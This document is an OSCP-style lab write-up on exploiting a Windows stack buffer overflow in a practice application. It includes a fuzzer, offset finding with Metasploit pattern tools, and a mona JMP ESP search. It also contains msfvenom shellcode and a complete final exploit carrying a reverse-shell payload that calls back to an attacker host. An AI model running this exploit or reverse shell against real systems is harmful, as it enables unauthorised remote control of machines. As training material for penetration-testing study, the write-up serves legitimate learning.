---
# System prepended metadata

title: OSCP Windows Buffer Overflow in a nutshell
tags: [OSCP, windows]

---

# OSCP Windows Buffer Overflow in a nutshell
###### tags: `windows` `OSCP`
{%hackmd theme-dark %}

## Mounting the system
Download a M$ VM from here: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
IE10 on W7x86 chosen.

Go to Internet Options (in internet explorer), Advanced, and mark SSL, SSL2...

Now let's download Immunity from here. https://debugger.immunityinc.com/ID_register.py and install it (accept to install Python2 too).

Download now Mona from: https://github.com/corelan/mona
drop mona.py into the 'PyCommands' folder (inside the Immunity Debugger application folder).
(you can download directly the code from here https://raw.githubusercontent.com/corelan/mona/master/mona.py)

## Testing the app

First of all, open the application. Open also the Immunity Debugger with elevated privileges.

Click on File, and then click on Attach. You should see your program lsited there.
![](https://i.imgur.com/kll4INv.png)

Let's see which port is using our application. In this case is the 1985:
![](https://i.imgur.com/OUs326Q.png)

In Immunity, the program is paused by default. Let's run it with F9 or the play button in the toolbar. ![](https://i.imgur.com/tCDC0FH.png)

The first test will be connect it from our Kali machine using telnet, and send a huge variable:

![](https://i.imgur.com/hX59N7E.png)

Ok, when we use a huge input, this overwrites other variables in the memory. This is the bug in the BufferOverFlow. Lets try to exploit it.

## Making the exploit

First of all, we need to calculate the offset in the BoF. Let's use this script to estimate the maximum payload size:
```python
#!/usr/bin/python
import time, socket
# Create a string, fuzz from ilength (initial length) to tlength
# (target length), with increments of 500 (increment).
buffer="A"
ilength=100
tlength=2000
increment=500
IP='192.168.1.16'
PORT=1985

for x in range(increment,tlength,increment):
    print("Fuzzing with %s bytes" % x)
    buffer = "A"*x
    print(buffer)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((IP,PORT))
    time.sleep(1)
    # Normalmente es \r\n, pero en el README.txt que viene en el zip pone "end a NULL-byte at the ending of your message."
    #s.send(bytes(buffer + "\r\n", encoding='utf8')))
    s.send(bytes(buffer + "\x00", encoding='utf8'))
    s.close()

    x += increment
```

![](https://i.imgur.com/2qw7L1x.png)
The EIP and the EBP registers have been overwritted. This means that the program is vulnerable to a BoF. The EIP is the register which says the address of the next line to be executed, so we can alterate the complete program after this point :yum: 

In the immunity debugger, we have to set the workspace of Mona:
`!mona config -set workingfolder c:\mona\%p`
![](https://i.imgur.com/9mD4Nzd.png)

Let's also copy our exploit.py file:
```python
import socket

ip = "192.168.1.16"
port = 1985

offset = 0
overflow = b"A" * offset
retn = b""
padding = b""
payload = b""
postfix = b"\x00"

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending BoF")
  s.send(buffer) 
  print("Done!")
except:
  print("Couldn't connect to the target")
```

Now let's generate a pattern of, at least 2000 bytes to crash the server:
```bash
┌──(aml㉿kali)-[~/OSCP]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 900 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9
```
 and paste it in the "payload" variable in our exploit. Then run it versus the server:
![](https://i.imgur.com/KdMva2D.png)


Nota: Me fallaba en el código que me daba, pero con un pattern de 900 o menos ya lo hiso bien. Asaberporqué :-1: 

Con el comando `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 316A4130` podremos sacar el offset exacto:

![](https://i.imgur.com/xNQjIcn.png)

SO, we can start to make our exploit:
```python
import socket

ip = "192.168.1.16"
port = 1985

offset = 272 # <---------
overflow = b"A" * offset
retn = b"BBBB" # <---------
padding = b""
payload = b""
postfix = b"\x00"

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending BoF")
  print(buffer)
  s.send(buffer)
  print("Done!")
except:
  print("Couldn't connect to the target")
  ```
And run it again to test it:
![](https://i.imgur.com/oNnbf5a.png)

As we wanted, the EIP now is "42424242" which means "BBBB" in hex. Our offset is right! :smiley: 

Now, it's time to find a JMP ESP instruction to jump (instead of the BBBB before). Let's use mona: 

Running the command `!mona jmp -r esp` in Immunity, will find a memory address to jump: 
![](https://i.imgur.com/u5RkDPs.png)

Address: 0x345964ba
Note that we need to write it in reverse order by pairs of bytes because of the 
`retn = "\xba\x64\x59\x34"` 

![](https://i.imgur.com/oHODoVI.png)
Sent but it does not take the \x43 byte, so let's try with the second address.

Putting a breackpoint on that address, we can see that the program stops there:
![](https://i.imgur.com/ZfwgFOk.png)

Now, the next step is to create the shellcode (for testing we'll launch a calculator). Let's do this with the command:
```bash
┌──(aml㉿kali)-[~/OSCP]
└─$ msfvenom -a x86 -p windows/exec CMD=calc.exe -f python -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1078 bytes
buf =  b""
buf += b"\xb8\xc9\x1e\x79\x77\xd9\xd0\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x31\x83\xc3\x04\x31\x43\x0f\x03\x43\xc6\xfc"
buf += b"\x8c\x8b\x30\x82\x6f\x74\xc0\xe3\xe6\x91\xf1\x23\x9c"
buf += b"\xd2\xa1\x93\xd6\xb7\x4d\x5f\xba\x23\xc6\x2d\x13\x43"
buf += b"\x6f\x9b\x45\x6a\x70\xb0\xb6\xed\xf2\xcb\xea\xcd\xcb"
buf += b"\x03\xff\x0c\x0c\x79\xf2\x5d\xc5\xf5\xa1\x71\x62\x43"
buf += b"\x7a\xf9\x38\x45\xfa\x1e\x88\x64\x2b\xb1\x83\x3e\xeb"
buf += b"\x33\x40\x4b\xa2\x2b\x85\x76\x7c\xc7\x7d\x0c\x7f\x01"
buf += b"\x4c\xed\x2c\x6c\x61\x1c\x2c\xa8\x45\xff\x5b\xc0\xb6"
buf += b"\x82\x5b\x17\xc5\x58\xe9\x8c\x6d\x2a\x49\x69\x8c\xff"
buf += b"\x0c\xfa\x82\xb4\x5b\xa4\x86\x4b\x8f\xde\xb2\xc0\x2e"
buf += b"\x31\x33\x92\x14\x95\x18\x40\x34\x8c\xc4\x27\x49\xce"
buf += b"\xa7\x98\xef\x84\x45\xcc\x9d\xc6\x03\x13\x13\x7d\x61"
buf += b"\x13\x2b\x7e\xd5\x7c\x1a\xf5\xba\xfb\xa3\xdc\xff\xf4"
buf += b"\xe9\x7d\xa9\x9c\xb7\x17\xe8\xc0\x47\xc2\x2e\xfd\xcb"
buf += b"\xe7\xce\xfa\xd4\x8d\xcb\x47\x53\x7d\xa1\xd8\x36\x81"
buf += b"\x16\xd8\x12\xe2\xf9\x4a\xfe\xcb\x9c\xea\x65\x14"
```
And write it into our exploit. Then launch it again:

```python
import socket

ip = "192.168.1.16"
port = 1985

offset = 272
overflow = b"A" * offset
retn = b"\x77\x17\x58\x34"
padding = b"\x90" * 20
payload =  b""
payload += b"\xb8\xc9\x1e\x79\x77\xd9\xd0\xd9\x74\x24\xf4\x5b\x29"
payload += b"\xc9\xb1\x31\x83\xc3\x04\x31\x43\x0f\x03\x43\xc6\xfc"
payload += b"\x8c\x8b\x30\x82\x6f\x74\xc0\xe3\xe6\x91\xf1\x23\x9c"
payload += b"\xd2\xa1\x93\xd6\xb7\x4d\x5f\xba\x23\xc6\x2d\x13\x43"
payload += b"\x6f\x9b\x45\x6a\x70\xb0\xb6\xed\xf2\xcb\xea\xcd\xcb"
payload += b"\x03\xff\x0c\x0c\x79\xf2\x5d\xc5\xf5\xa1\x71\x62\x43"
payload += b"\x7a\xf9\x38\x45\xfa\x1e\x88\x64\x2b\xb1\x83\x3e\xeb"
payload += b"\x33\x40\x4b\xa2\x2b\x85\x76\x7c\xc7\x7d\x0c\x7f\x01"
payload += b"\x4c\xed\x2c\x6c\x61\x1c\x2c\xa8\x45\xff\x5b\xc0\xb6"
payload += b"\x82\x5b\x17\xc5\x58\xe9\x8c\x6d\x2a\x49\x69\x8c\xff"
payload += b"\x0c\xfa\x82\xb4\x5b\xa4\x86\x4b\x8f\xde\xb2\xc0\x2e"
payload += b"\x31\x33\x92\x14\x95\x18\x40\x34\x8c\xc4\x27\x49\xce"
payload += b"\xa7\x98\xef\x84\x45\xcc\x9d\xc6\x03\x13\x13\x7d\x61"
payload += b"\x13\x2b\x7e\xd5\x7c\x1a\xf5\xba\xfb\xa3\xdc\xff\xf4"
payload += b"\xe9\x7d\xa9\x9c\xb7\x17\xe8\xc0\x47\xc2\x2e\xfd\xcb"
payload += b"\xe7\xce\xfa\xd4\x8d\xcb\x47\x53\x7d\xa1\xd8\x36\x81"
payload += b"\x16\xd8\x12\xe2\xf9\x4a\xfe\xcb\x9c\xea\x65\x14"

postfix = b"\x00"

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending BoF")
  print(buffer)
  s.send(buffer)
  print("Done!")
except:
  print("Couldn't connect to the target")

```
![](https://i.imgur.com/BdFvKmj.png)

Let's create now the reverse shell payload:
```
┌──(aml㉿kali)-[~/OSCP]
└─$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=8888 -f python -b '\x00' EXITFUNC=thread -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
payload =  b""
payload += b"\xda\xd6\xbd\x02\xd2\x37\x01\xd9\x74\x24\xf4\x58"
payload += b"\x31\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\x6a"
payload += b"\xc1\xd5\xf4\x96\x0d\x9b\xf7\x66\xce\xfc\x7e\x83"
payload += b"\xff\x3c\xe4\xc0\x50\x8d\x6e\x84\x5c\x66\x22\x3c"
payload += b"\xd6\x0a\xeb\x33\x5f\xa0\xcd\x7a\x60\x99\x2e\x1d"
payload += b"\xe2\xe0\x62\xfd\xdb\x2a\x77\xfc\x1c\x56\x7a\xac"
payload += b"\xf5\x1c\x29\x40\x71\x68\xf2\xeb\xc9\x7c\x72\x08"
payload += b"\x99\x7f\x53\x9f\x91\xd9\x73\x1e\x75\x52\x3a\x38"
payload += b"\x9a\x5f\xf4\xb3\x68\x2b\x07\x15\xa1\xd4\xa4\x58"
payload += b"\x0d\x27\xb4\x9d\xaa\xd8\xc3\xd7\xc8\x65\xd4\x2c"
payload += b"\xb2\xb1\x51\xb6\x14\x31\xc1\x12\xa4\x96\x94\xd1"
payload += b"\xaa\x53\xd2\xbd\xae\x62\x37\xb6\xcb\xef\xb6\x18"
payload += b"\x5a\xab\x9c\xbc\x06\x6f\xbc\xe5\xe2\xde\xc1\xf5"
payload += b"\x4c\xbe\x67\x7e\x60\xab\x15\xdd\xed\x18\x14\xdd"
payload += b"\xed\x36\x2f\xae\xdf\x99\x9b\x38\x6c\x51\x02\xbf"
payload += b"\x93\x48\xf2\x2
```
Note: For Linux systems would be:
```
┌──(aml㉿kali)-[~]
└─$ msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=192.168.1.11 LPORT=8888 -f python -b '\x00' EXITFUNC=thread -v payload
```
And exploit again:
![](https://i.imgur.com/O8brZAZ.png)

## Final scripts
Exploit Template:
```python
import socket

ip = ""
port = 1985

offset = 0
overflow = b"A" * offset
retn = b""
padding = b"\x90" * 0
payload =  b""
postfix = b""

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending BoF")
  print(buffer)
  s.send(buffer)
  print("Done!")
except:
  print("Couldn't connect to the target")

```

Final Exploit:
```python
import socket

ip = "192.168.1.16"
port = 1985

offset = 272
overflow = b"A" * offset
retn = b"\x77\x17\x58\x34"
padding = b"\x90" * 20
payload =  b""
payload += b"\xda\xd6\xbd\x02\xd2\x37\x01\xd9\x74\x24\xf4\x58"
payload += b"\x31\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\x6a"
payload += b"\xc1\xd5\xf4\x96\x0d\x9b\xf7\x66\xce\xfc\x7e\x83"
payload += b"\xff\x3c\xe4\xc0\x50\x8d\x6e\x84\x5c\x66\x22\x3c"
payload += b"\xd6\x0a\xeb\x33\x5f\xa0\xcd\x7a\x60\x99\x2e\x1d"
payload += b"\xe2\xe0\x62\xfd\xdb\x2a\x77\xfc\x1c\x56\x7a\xac"
payload += b"\xf5\x1c\x29\x40\x71\x68\xf2\xeb\xc9\x7c\x72\x08"
payload += b"\x99\x7f\x53\x9f\x91\xd9\x73\x1e\x75\x52\x3a\x38"
payload += b"\x9a\x5f\xf4\xb3\x68\x2b\x07\x15\xa1\xd4\xa4\x58"
payload += b"\x0d\x27\xb4\x9d\xaa\xd8\xc3\xd7\xc8\x65\xd4\x2c"
payload += b"\xb2\xb1\x51\xb6\x14\x31\xc1\x12\xa4\x96\x94\xd1"
payload += b"\xaa\x53\xd2\xbd\xae\x62\x37\xb6\xcb\xef\xb6\x18"
payload += b"\x5a\xab\x9c\xbc\x06\x6f\xbc\xe5\xe2\xde\xc1\xf5"
payload += b"\x4c\xbe\x67\x7e\x60\xab\x15\xdd\xed\x18\x14\xdd"
payload += b"\xed\x36\x2f\xae\xdf\x99\x9b\x38\x6c\x51\x02\xbf"
payload += b"\x93\x48\xf2\x2f\x6a\x73\x03\x66\xa9\x27\x53\x10"
payload += b"\x18\x48\x38\xe0\xa5\x9d\xef\xb0\x09\x4e\x50\x60"
payload += b"\xea\x3e\x38\x6a\xe5\x61\x58\x95\x2f\x0a\xf3\x6c"
payload += b"\xb8\xf5\xac\x6f\x33\x9e\xae\x6f\x61\xe6\x26\x89"
payload += b"\x0f\x06\x6f\x02\xb8\xbf\x2a\xd8\x59\x3f\xe1\xa5"
payload += b"\x5a\xcb\x06\x5a\x14\x3c\x62\x48\xc1\xcc\x39\x32"
payload += b"\x44\xd2\x97\x5a\x0a\x41\x7c\x9a\x45\x7a\x2b\xcd"
payload += b"\x02\x4c\x22\x9b\xbe\xf7\x9c\xb9\x42\x61\xe6\x79"
payload += b"\x99\x52\xe9\x80\x6c\xee\xcd\x92\xa8\xef\x49\xc6"
payload += b"\x64\xa6\x07\xb0\xc2\x10\xe6\x6a\x9d\xcf\xa0\xfa"
payload += b"\x58\x3c\x73\x7c\x65\x69\x05\x60\xd4\xc4\x50\x9f"
payload += b"\xd9\x80\x54\xd8\x07\x31\x9a\x33\x8c\x51\x79\x91"
payload += b"\xf9\xf9\x24\x70\x40\x64\xd7\xaf\x87\x91\x54\x45"
payload += b"\x78\x66\x44\x2c\x7d\x22\xc2\xdd\x0f\x3b\xa7\xe1"
payload += b"\xbc\x3c\xe2"

postfix = b"\x00"


buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending BoF")
  print(buffer)
  s.send(buffer)
  print("Done!")
except:
  print("Couldn't connect to the target")

```


Fuzzer:
```python=
#!/usr/bin/python
import time, socket
# Create a string, fuzz from ilength (initial length) to tlength
# (target length), with increments of 500 (increment).
buffer="A"
ilength=100
tlength=2000
increment=400
IP='192.168.1.16'
PORT=1985

for x in range(increment,tlength,increment):
    print("Fuzzing with %s bytes" % x)
    buffer = "A"*x
    print(buffer)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((IP,PORT))
    time.sleep(1)
    s.send(bytes(buffer + "\x00", encoding='utf8'))
    s.close()

    x += increment

```

## Sources
Writeup BrainPan: https://assume-breach.medium.com/oscp-prep-buffer-overflows-made-super-easy-with-the-brainpan-1-vm-e5ccaf7d3f0c
Writeup Dawn2: https://alexfrancow.github.io/ctf/Dawn-2-Vanilla-Buffer-Overflow/
Better writeup of Dawn2: https://infosecwriteups.com/tryhackme-oscp-buffer-overflow-prep-overflow-2-57c22b51a91f